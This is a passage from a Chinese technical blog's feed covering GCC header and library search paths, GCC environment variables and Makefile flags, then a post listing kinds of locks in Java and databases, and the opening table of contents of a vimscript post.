&lt;p&gt;在程序连接时，对于库文件（静态库和共享库）的搜索路径，除了上面的设置方式之外，还可以通过 -L 参数显式指定。因为用 -L 设置的路径将被优先搜索，所以在连接的时候通常都会以这种方式直接指定要连接的库的路径。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orga9a8c36&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yan-shen-yue-du-2&quot;&gt;延伸阅读2：&lt;&#x2F;h1&gt;
&lt;p&gt;linux头文件和库文件设置问题
当初在编译时指定的(在~gcc&#x2F;gcc&#x2F;collect2.c:locatelib()
写在specs内的
后来用-D -I -L指定的
gcc环境变量设定(编译的时候)
ld.so的环境变量(这是run time的时候）
一、头文件
gcc 在编译时如何去寻找所需要的头文件 ：
※所以header file的搜寻会从-I开始
※然后找gcc的环境变量 C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH,CPLUS&lt;&#x2F;sub&gt;&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH,OBJC&lt;&#x2F;sub&gt;&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;
※再找内定目录
&#x2F;usr&#x2F;include
&#x2F;usr&#x2F;local&#x2F;include
&lt;em&gt;usr&#x2F;lib&#x2F;gcc-lib&#x2F;i386-linux&#x2F;2.95.2&#x2F;include&lt;&#x2F;em&gt; &lt;em&gt;&#x2F;usr&#x2F;lib&#x2F;gcc-lib&#x2F;i386-linux&#x2F;2.95.2&lt;&#x2F;em&gt;..&#x2F;..&#x2F;..&#x2F;..&#x2F;include&#x2F;g -3
&lt;em&gt;usr&#x2F;lib&#x2F;gcc-lib&#x2F;i386-linux&#x2F;2.95.2&lt;&#x2F;em&gt;..&#x2F;..&#x2F;..&#x2F;..&#x2F;i386-linux&#x2F;include
库文件但是假如装gcc的时候，是有给定的prefix的话，那么就是
&#x2F;usr&#x2F;include
prefix&#x2F;include
prefix&#x2F;xxx-xxx-xxx-gnulibc&#x2F;include
prefix&#x2F;lib&#x2F;gcc-lib&#x2F;xxxx-xxx-xxx-gnulibc&#x2F;2.8.1&#x2F;include
二、库文件
cos()等函式库的选项要多加 -lm
编译的时候:
※gcc会去找-L
※再找gcc的环境变量LIBRARY&lt;sub&gt;PATH&lt;&#x2F;sub&gt;
※再找内定目录 &#x2F;lib &#x2F;usr&#x2F;lib &#x2F;usr&#x2F;local&#x2F;lib 这是当初compile gcc时写在程序内的
三、运行时动态库的搜索路径
1、在配置文件&#x2F;etc&#x2F;ld.so.conf中指定动态库搜索路径
2、通过环境变量LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH指定动态库搜索路径&lt;&#x2F;sub&gt;（当通过该环境变量指定多个动态库搜索路径时，路径之间用冒号&quot;：&quot;分隔）
3、在编译目标代码时指定该程序的动态库搜索路径（还可以在编译目标代码时指定程序的动态库搜索路径。
这是通过gcc 的参数&quot;-Wl,-rpath,&quot;指定（如例3所示）。当指定多个动态库搜索路径时，路径之间用冒号&quot;：&quot;分隔）
4、默认的动态库搜索路径&#x2F;lib
5、默认的动态库搜索路径&#x2F;usr&#x2F;lib
可以通过执行可执行文件pos得到的结果不同获知其搜索到了哪个动态库，从而获得第1个动态库搜索顺序，然后删除该动态库，
再执行程序pos，获得第2个动态库搜索路径，再删除第2个被搜索到的动态库，
如此往复，将可得到Linux搜索动态库的先后顺序。
程序pos执行的输出结果和搜索到的动态库的对应关系如表1所示
程序pos输出结果 使用的动态库 对应的动态库搜索路径指定方式
.&#x2F; .&#x2F;libpos.so 编译目标代码时指定的动态库搜索路径
&#x2F;root&#x2F;test&#x2F;env&#x2F;lib &#x2F;root&#x2F;test&#x2F;env&#x2F;lib&#x2F;libpos.so 环境变量LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH指定的动态库搜索路径&lt;&#x2F;sub&gt;
&#x2F;root&#x2F;test&#x2F;conf&#x2F;lib &#x2F;root&#x2F;test&#x2F;conf&#x2F;lib&#x2F;libpos.so 配置文件&#x2F;etc&#x2F;ld.so.conf中指定的动态库搜索路径
&#x2F;lib &#x2F;lib&#x2F;libpos.so 默认的动态库搜索路径&#x2F;lib
&#x2F;usr&#x2F;lib &#x2F;usr&#x2F;lib&#x2F;libpos.so 默认的动态库搜索路径&#x2F;usr&#x2F;lib
综合以上结果可知，动态库的搜索路径搜索的先后顺序是：
1.编译目标代码时指定的动态库搜索路径；
2.环境变量LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH指定的动态库搜索路径&lt;&#x2F;sub&gt;；
3.配置文件&#x2F;etc&#x2F;ld.so.conf中指定的动态库搜索路径；
4.默认的动态库搜索路径&#x2F;lib；
5.默认的动态库搜索路径&#x2F;usr&#x2F;lib。
如何指定GCC的默认头文件路径
文章来源：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.chinaunix.net&#x2F;u&#x2F;28781&#x2F;showart_401631.html&quot;&gt;http:&#x2F;&#x2F;blog.chinaunix.net&#x2F;u&#x2F;28781&#x2F;showart_401631.html&lt;&#x2F;a&gt;
在交叉编译的时候我们需要用到其他的库，在config时候可以通过“-I”来指定头文件目录，但是每次都需要设置的话难免有些麻烦，找到一个简单的方法。看下文的红色部分。
有大量的环境变量可供设置以影响 GCC 编译程序的方式。利用这些变量的控制也可使用合适的命令行选项。一些环境变量设置在目录名列表中。这些名字和 PATH 环境变量使用的格式相同。特殊字符 PATH&lt;sub&gt;SEPARATOR&lt;&#x2F;sub&gt; （安装编译程序的时候定义）用在目录名之间。在 UNIX 系统中，分隔符是冒号，而 Windows 系统中为分号。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org45823d2&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cincludepath&quot;&gt;C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;编译C程序时使用该环境变量。该环境变量指定一个或多个目录名列表，查找头文件，就好像在命令行中指定 -isystem 选项一样。会首先查找 -isystem 指定的所有目录。
也见 &lt;code&gt;CPATH&lt;&#x2F;code&gt; 、 CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 和 OBJC&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orge01f33f&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;compilerpath&quot;&gt;COMPILER&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;该环境变量指定一个或多个目录名列表，如果没有指定 GCC&lt;sub&gt;EXEC&lt;&#x2F;sub&gt;&lt;sub&gt;PREFIX&lt;&#x2F;sub&gt; 定位子程序，编译程序会在此查找它的子程序。
也见 LIBRARY&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 、 GCC&lt;sub&gt;EXEC&lt;&#x2F;sub&gt;&lt;sub&gt;PREFIX&lt;&#x2F;sub&gt; 和 -B 命令行选项。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org17cf4e0&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cpath-bian-yi-c-c-he-objective-c-cheng-xu-shi-shi-yong-gai-huan-jing-bian-liang&quot;&gt;&lt;code&gt;CPATH&lt;&#x2F;code&gt; 编译 C 、 C++ 和 Objective-C 程序时使用该环境变量。&lt;&#x2F;h2&gt;
&lt;p&gt;该环境变量指定一个或多个目录名列表，查找头文件，就好像在命令行中指定 -l 选项一样。会首先查找 -l 指定的所有目录。也见 C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 、 CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 和 OBJC&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org9e2dd42&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cplusincludepath-bian-yi-c-cheng-xu-shi-shi-yong-gai-huan-jing-bian-liang&quot;&gt;CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 编译 C++ 程序时使用该环境变量。&lt;&#x2F;h2&gt;
&lt;p&gt;该环境变量指定一个或多个目录名列表，查找头文件，就好像在命令行中指定 -isystem 选项一样。会首先查找 -isystem 指定的所有目录。 也见 &lt;code&gt;CPATH&lt;&#x2F;code&gt; 、 C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 和 OBJC&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orge2d78a0&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dependenciesoutput-wei-wen-jian-ming-she-zhi-gai-huan-jing-bian-liang-hui-rang-yu-chu-li-cheng-xu-jiang-ji-yu-yi-lai-guan-xi-de-makefile-gui-ze-xie-ru-wen-jian-bu-hui-bao-gua-xi-tong-tou-wen-jian-ming-zi&quot;&gt;DEPENDENCIES&lt;sub&gt;OUTPUT&lt;&#x2F;sub&gt; 为文件名设置该环境变量会让预处理程序将基于依赖关系的 makefile 规则写入文件。不会包括系统头文件名字。&lt;&#x2F;h2&gt;
&lt;p&gt;如果环境变量设置为单名，被看作是文件名字，而依赖关系规则的名字来自源文件名字。如果定义中有两个名字，则第二个名字是用作依赖关系规则的目标名。
设置该环境变量的结果和使用命令行选项 -MM 、 -MF 和 -MT 的组合是一样的。也见 SUNPRO&lt;sub&gt;DEPENDENCIES&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgc606c2b&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gccexecprefix-ru-guo-ding-yi-liao-gai-huan-jing-bian-liang-ta-hui-zuo-wei-bian-yi-cheng-xu-zhi-xing-de-suo-you-zi-cheng-xu-ming-zi-de-qian-zhui-li-ru-ru-guo-jiang-bian-liang-she-zhi-wei-testver-er-bu-shi-cha-zhao-as-hui-bian-qi-shou-xian-hui-zai-ming-zi-testveras-xia-cha-zhao-ru-guo-zai-ci-mei-you-zhao-dao-bian-yi-cheng-xu-hui-ji-xu-gen-ju-ta-de-pu-tong-ming-jin-xing-cha-zhao-ke-zai-qian-zhui-ming-zhong-shi-yong-xie-xian-zhi-chu-lu-jing-ming&quot;&gt;GCC&lt;sub&gt;EXEC&lt;&#x2F;sub&gt;&lt;sub&gt;PREFIX&lt;&#x2F;sub&gt; 如果定义了该环境变量，它会作为编译程序执行的所有子程序名字的前缀。例如，如果将变量设置为 testver 而不是查找 as ，汇编器首先会在名字testveras 下查找。如果在此没有找到，编译程序会继续根据它的普通名进行查找。可在前缀名中使用斜线指出路径名。&lt;&#x2F;h2&gt;
&lt;p&gt;GCC&lt;sub&gt;EXEC&lt;&#x2F;sub&gt;&lt;sub&gt;PREFIX&lt;&#x2F;sub&gt; 的默认设置为 prefix &lt;em&gt;lib&#x2F;gcc-lib&lt;&#x2F;em&gt; ，这里的 prefix 是安装编译程序时 configure 脚本指定的名字。该前缀也用于定位标准连接程序文件，包含进来作为可执行程序的一部分。
如果使用 -B 命令行选项，会重写该设置。也见 COMPILER&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgb7d7ccd&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lang-gai-huan-jing-bian-liang-yong-yu-zhi-chu-bian-yi-cheng-xu-shi-yong-de-zi-fu-ji-ke-chuang-jian-kuan-zi-fu-wen-zi-chuan-wen-zi-he-zhu-shi&quot;&gt;LANG 该环境变量用于指出编译程序使用的字符集，可创建宽字符文字、串文字和注释。&lt;&#x2F;h2&gt;
&lt;p&gt;定义 LANG 为 C-JIS ，指出预处理程序将多字节字符按照 JIS （日语工业标准）字符进行解释。 C-SJIS 可用来指出 Shift -JIS 字符而 C-EUCJP 指出日文 EUC 。
如果没有定义 LANG ，或定义为不可识别，函数 mblen() 被用来确定字符宽度，而 mbtowc() 用来将多字节序列转换为宽字符。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org33c2603&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lcall-ru-guo-she-zhi-gai-huan-jing-bian-liang-de-zhi-zhong-xie-lcmessages-he-lcctype-de-suo-you-she-zhi&quot;&gt;LC&lt;sub&gt;ALL&lt;&#x2F;sub&gt; 如果设置，该环境变量的值重写 LC&lt;sub&gt;MESSAGES&lt;&#x2F;sub&gt; 和 LC&lt;sub&gt;CTYPE&lt;&#x2F;sub&gt; 的所有设置。&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a id=&quot;org11ee5a5&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lcctype-gai-huan-jing-bian-liang-zhi-chu-yin-yong-chuan-zhong-ding-yi-de-duo-zi-jie-zi-fu-de-zi-fu-fen-lei-zhu-yao-yong-yu-que-ding-zi-fu-chuan-de-zi-fu-bian-jie-zi-fu-bian-ma-xu-yao-yong-yin-hao-huo-zhuan-yi-fu-ke-bei-cuo-wu-di-jie-shi-wei-zi-fu-chuan-de-jie-wei-huo-te-shu-zi-fu-chuan-dui-australian-english-ke-jiang-ta-she-zhi-wei-enau-dui-mexican-spanish-ke-jiang-ta-she-zhi-wei-esmx-ru-guo-mei-you-she-zhi-gai-bian-liang-mo-ren-wei-lang-bian-liang-de-zhi-huo-ru-guo-mei-you-she-zhi-lang-na-jiu-shi-yong-c-ying-yu-xing-wei-ye-jian-lcall&quot;&gt;LC&lt;sub&gt;CTYPE&lt;&#x2F;sub&gt; 该环境变量指出引用串中定义的多字节字符的字符分类。主要用于确定字符串的字符边界，字符编码需要用引号或转义符，可被错误地解释为字符串的结尾或特殊字 符串。对 Australian English ，可将它设置为 en&lt;sub&gt;AU&lt;&#x2F;sub&gt; ； 对 Mexican Spanish ，可将它设置为 es&lt;sub&gt;MX&lt;&#x2F;sub&gt;。如果没有设置该变量，默认为 LANG 变量的值，或如果没有设置 LANG ，那就使用 C 英语行为。也见 LC&lt;sub&gt;ALL&lt;&#x2F;sub&gt; 。&lt;&#x2F;h2&gt;
&lt;p&gt;LC&lt;sub&gt;MESSAGES&lt;&#x2F;sub&gt; 该环境变量指出编译程序使用何种语言发出诊断消息。对 Australian English ，可设置为 en&lt;sub&gt;AU&lt;&#x2F;sub&gt; ；对 MexicanSpanish ，可设置为 es&lt;sub&gt;MX&lt;&#x2F;sub&gt; 。如果变量没有设置，使用 LANG 变量的默认值，或如果没有设置 LANG ，那就使用 C英语行为。也见 LC&lt;sub&gt;ALL&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org072746c&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ldlibrarypath&quot;&gt;LD&lt;sub&gt;LIBRARY&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;该环境变量不会影响编译程序，但程序运行的时候会有影响。变量指定一个目录列表，程序会查找该列表定位共享库。只有当未在编译程序的目录中找到共享库的时候，执行程序必须设置该变量。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org382a0ff&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ldrunpath&quot;&gt;LD&lt;sub&gt;RUN&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;该环境变量不会影响编译程序，但程序运行的时候会有影响。该变量在运行时指出文件的名字，运行的程序可由此得到它的符号名字和地址。地址不会重新载入，因而可能符号引用其他文件中的绝对地址。这和 ld 工具使用 -R 选项完全一样。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org4053e03&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;librarypath&quot;&gt;LIBRARY&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;该环境变量可设置为一个或多个目录名字列表，连接程序会搜寻该目录，以查找特殊连接程序文件，和由 -l （字母l ）命令行选项指定名字的库。
由 -L 命令行选项指定的目录在环境变量的前面，首先被查找。也见 COMPILER&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org23f86b3&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;objcincludepath&quot;&gt;OBJC&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在编译 Objective-C 程序的时候使用该环境变量。一个或多个目录名的列表由环境变量指定，用来查找头文件，就好像在命令行中指定 -isystem 选项一样。所有由 -isystem 选项指定的目录会首先被查找。
也见 &lt;code&gt;CPATH&lt;&#x2F;code&gt; 、 CPLUS&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 和 C&lt;sub&gt;INCLUDE&lt;&#x2F;sub&gt;&lt;sub&gt;PATH&lt;&#x2F;sub&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org5e6fef6&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sunprooutput-wei-wen-jian-ming-she-zhi-gai-huan-jing-bian-liang-hui-ling-yu-chu-li-cheng-xu-jiang-ji-yu-yi-lai-guan-xi-de-makefile-gui-ze-xie-ru-wen-jian-hui-bao-han-xi-tong-tou-wen-jian-ming&quot;&gt;SUNPRO&lt;sub&gt;OUTPUT&lt;&#x2F;sub&gt; 为文件名设置该环境变量会令预处理程序将基于依赖关系的 makefile 规则写入文件。会包含系统头文件名。&lt;&#x2F;h2&gt;
&lt;p&gt;如果环境变量被设置为单个名字，它将会被当作文件名，依赖关系规则中的名字将由源文件的名字中获得。如果定义中有两个名字，第二个名字就是依赖关系规则中的目标名。
设置该环境变量的结果与在命令行中使用参数 -M 、 -MF 和 -MT 的效果一样。参见 DEPENDENCIES&lt;sub&gt;OUTPUT&lt;&#x2F;sub&gt; 。
TMPDIR 这个变量包含了供编译程序存放临时工作文件的目录的路径名。这些文件通常在编译过程结束时被删除。这种文件的一个例子就是由预处理程序输出并输入给编译程序的文件.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org259485c&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;makefile&quot;&gt;makefile&lt;&#x2F;h1&gt;
&lt;p&gt;Makefile选项CFLAGS,LDFLAGS,LIBS
CFLAGS 表示用于 C 编译器的选项，
CXXFLAGS 表示用于 C++ 编译器的选项。
这两个变量实际上涵盖了编译和汇编两个步骤。&lt;&#x2F;p&gt;
&lt;p&gt;CFLAGS： 指定头文件（.h文件）的路径，如：CFLAGS=-I&#x2F;usr&#x2F;include -I&#x2F;path&#x2F;include。同样地，安装一个包时会在安装路径下建立一个include目录，当安装过程中出现问题时，试着把以前安装的包的include目录加入到该变量中来。&lt;&#x2F;p&gt;
&lt;p&gt;LDFLAGS：gcc 等编译器会用到的一些优化参数，也可以在里面指定库文件的位置。用法：LDFLAGS=-L&#x2F;usr&#x2F;lib -L&#x2F;path&#x2F;to&#x2F;your&#x2F;lib。每安装一个包都几乎一定的会在安装目录里建立一个lib目录。如果明明安装了某个包，而安装另一个包时，它愣是说找不到，可以抒那个包的lib路径加入的LDFALGS中试一下。&lt;&#x2F;p&gt;
&lt;p&gt;LIBS：告诉链接器要链接哪些库文件，如LIBS = -lpthread -liconv&lt;&#x2F;p&gt;
&lt;p&gt;简单地说，LDFLAGS是告诉链接器从哪里寻找库文件，而LIBS是告诉链接器要链接哪些库文件。不过使用时链接阶段这两个参数都会加上，所以你即使将这两个的值互换，也没有问题。&lt;&#x2F;p&gt;
&lt;p&gt;有时候LDFLAGS指定-L虽然能让链接器找到库进行链接，但是运行时链接器却找不到这个库，如果要让软件运行时库文件的路径也得到扩展，那么我们需要增加这两个库给&quot;-Wl,R&quot;：&lt;&#x2F;p&gt;
&lt;p&gt;LDFLAGS = -L&#x2F;var&#x2F;xxx&#x2F;lib -L&#x2F;opt&#x2F;mysql&#x2F;lib -Wl,R&#x2F;var&#x2F;xxx&#x2F;lib -Wl,R&#x2F;opt&#x2F;mysql&#x2F;lib&lt;&#x2F;p&gt;
&lt;p&gt;如果在执行.&#x2F;configure以前设置环境变量export LDFLAGS=&quot;-L&#x2F;var&#x2F;xxx&#x2F;lib -L&#x2F;opt&#x2F;mysql&#x2F;lib -Wl,R&#x2F;var&#x2F;xxx&#x2F;lib -Wl,R&#x2F;opt&#x2F;mysql&#x2F;lib&quot; ，注意设置环境变量等号两边不可以有空格，而且要加上引号（shell的用法）。那么执行configure以后，Makefile将会设置这个选项，链接时会有这个参数，编译出来的可执行程序的库文件搜索路径就得到扩展了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>常见的各种锁</title>
        <published>2022-12-18T16:30:31+08:00</published>
        <updated>2022-12-18T16:30:31+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/12/lock/"/>
        <id>https://vercel.juzhong.asia/2022/12/lock/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/12/lock/">&lt;h1 id=&quot;chang-jian-de-ge-chong-suo&quot;&gt;常见的各种锁&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;chang-jian-de-ge-chong-suo-1&quot;&gt;常见的各种锁&lt;&#x2F;h1&gt;
&lt;p&gt;1、悲观锁
悲观锁认为自己在使用数据的时候一定有别的线程来修改数据，在获取数据的时候先加锁，确保数据的安全性。
锁实现：关键字synchronized、Lock接口的实现
使用场景：写操作比较多，先加锁可以保证写操作时数据正确
2、乐观锁
乐观锁认为自己在使用数据的时候不会被别的线程修改，所以不会添加锁，只是在更新的时候去判断之前有没有别的线程更改过这个数据
锁实现：CAS算法，例如AtomicInteger类的原子自增底层是通过CAS实现的
使用场景：读多，不加锁的特点能够使读的性能大幅度提升&lt;&#x2F;p&gt;
&lt;p&gt;3、读锁（共享锁）
读锁即共享锁（S锁）：共享 (S) 用于不更改或不更新数据的操作（只读操作），如 SELECT 语句。
4、写锁（排他锁）
写锁即排他锁（X锁）：用于数据修改操作，例如 INSERT、UPDATE 或 DELETE。确保不会同时同一资源进行多重更新。
5、行锁
行锁即对数据表中每一行数据加锁，数据库最细粒度的锁，开销大，加锁慢；会出现死锁；锁定粒度小，发生锁冲突的概率低，并发度高
实现：InnoDB&lt;&#x2F;p&gt;
&lt;p&gt;6、表锁
表锁即对数据库中每个表加锁，数据库中最大级别的锁，开销小，加锁快；不会出现死锁；锁定力度大，发生锁冲突概率高，并发度最低
实现：MyISAM、BDB、InnoDB
7、页锁
页锁即对组加锁，对相邻数据加锁，数据库中介于表锁和行锁之间的锁，开销和加锁速度介于表锁和行锁之间；会出现死锁；锁定粒度介于表锁和行锁之间，并发度一般
实现：BDB&lt;&#x2F;p&gt;
&lt;p&gt;8、互斥锁（重量级锁或阻塞同步、悲观锁）
互斥锁是一个互斥的同步对象，意味着同一时间有且仅有一个线程可以获取它，互斥锁可适用于一个共享资源每次只能被一个线程访问的情况
9、自旋锁（CAS）
自旋锁在申请资源但是申请不到的情况下并不会挂起，而是会选择持续申请。这种锁结果适用于每个线程占用较少时间的锁，并且线程阻塞状态切换的代价远高于等待的代价时使用。
10、分布式锁
在很多场景中，我们为了保证数据的最终一致性，需要很多的技术方案来支持，比如分布式事务、分布式锁等。有的时候，我们需要保证一个方法在同一时间内只能被同一个线程执行。
实现：数据库实现分布式锁； 缓存（Redis等）实现分布式锁； Zookeeper实现分布式锁；
11、区间锁（分段锁）
ConcurrentHashMap jdk1.7使用了分段锁来保证线程安全，效率比起使用synchronized的HashTable要高的很多。每个集合都可以看作是一个存储东西的房子，HashTable与ConcurrentHashMap存储的都是HashEntry数组（每个数组里面是链表，暂且忽略，直到就好）
12、重入锁
重入锁当一个线程获取对象锁之后，这个线程可以再次获取本对象上的锁，而其他的线程是不可以的 ，可避免死锁
锁实现：关键字synchronized，ReentrantLock锁实现
13、非重入锁
非重入锁与可重入锁相反，不可递归调用，递归调用就发生死锁。
锁实现：NonReentrantLockk锁实现
14、公平锁
公平锁多个线程按照申请锁的顺序去获得锁，线程会直接进入队列去排队，永远都是队列的第一位才能得到锁。
锁实现：ReentrantLock（true）锁实现
优点：所有的线程都能得到资源，不会饿死在队列中。
缺点：吞吐量会下降很多，队列里面除了第一个线程，其他的线程都会阻塞，cpu唤醒阻塞线程的开销会很大。
15、非公平锁
非公平锁多个线程去获取锁的时候，会直接去尝试获取，获取不到，再去进入等待队列，如果能获取到，就直接获取到锁。
优点：可以减少CPU唤醒线程的开销，整体的吞吐效率会高点，CPU也不必取唤醒所有线程，会减少唤起线程的数量。
缺点：1、你们可能也发现了，这样可能导致队列中间的线程一直获取不到锁或者长时间获取不到锁，导致饿死2、会发生羊群效应&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>vimscript(just record)</title>
        <published>2022-12-02T13:43:51+08:00</published>
        <updated>2022-12-02T13:43:51+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/12/vimscript/"/>
        <id>https://vercel.juzhong.asia/2022/12/vimscript/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/12/vimscript/">&lt;h1 id=&quot;vimscript-just-record&quot;&gt;vimscript(just record)&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgdb84608&quot;&gt;目录&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org3032be3&quot;&gt;1 简介&lt;&#x2F;a&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orgd862b88&quot;&gt;一个简单的例子：&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org87c28db&quot;&gt;2 变量&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org886e581&quot;&gt;3 表达式&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org1d23fd4&quot;&gt;4 条件语句&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org62074db&quot;&gt;5 执行一个表达式&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#orge21cc11&quot;&gt;6 使用函数&lt;&#x2F;a&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;vimscript&#x2F;#org5f7698f&quot;&gt;函数&lt;&#x2F;a&gt;
&lt;ol&gt;
